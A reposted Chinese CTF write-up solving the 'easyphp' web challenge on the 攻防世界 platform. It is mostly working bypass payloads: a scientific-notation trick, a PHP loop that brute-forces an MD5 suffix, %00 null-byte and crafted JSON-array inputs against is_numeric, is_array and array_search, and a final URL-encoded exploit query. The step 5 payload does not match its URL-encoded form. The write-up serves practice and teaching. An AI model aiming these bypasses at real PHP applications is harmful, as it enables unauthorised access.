第一步,用科学计数法绕过 a=1e9
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3)#$a=1e9
第二步,用php代码编写MD5碰撞脚本得到b=53724
for($i = 1;$i <= 100000;$i++){
if('8b184b' === substr(md5($i),-6,6)){
echo $i."<br>".md5($i);
}
}
第三步,绕过is_numeric函数
$c=(array)json_decode(@$_GET['c']); #接收json格式的字符串并将其转化为数组
c={"m":"2033%00"}#使用%00可以绕过is_numeric函数
第四步,绕过is_array函数
c={"m":"2033%00","n":[[1]]}
第五步,绕过array_search函数
c={"m":"2033%00","n":[[0,2],0]}
#对{"m":"2033%00","n":[[0,2],0]}进行url编码得到:
%7B%22m%22%3A%222033%2500%22%2C%22n%22%3A%5B%5B1%5D%2C0%5D%7D
一定要对传值url编码
?a=1e9&b=53724&c=%7B%22m%22%3A%222033%2500%22%2C%22n%22%3A%5B%5B1%5D%2C0%5D%7D
提交得到flag
文章来源:https://www.toymoban.com/news/detail-596409.html
文章来源地址https://www.toymoban.com/news/detail-596409.html
到了这里,关于攻防世界ctf web easyphp题解wp的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!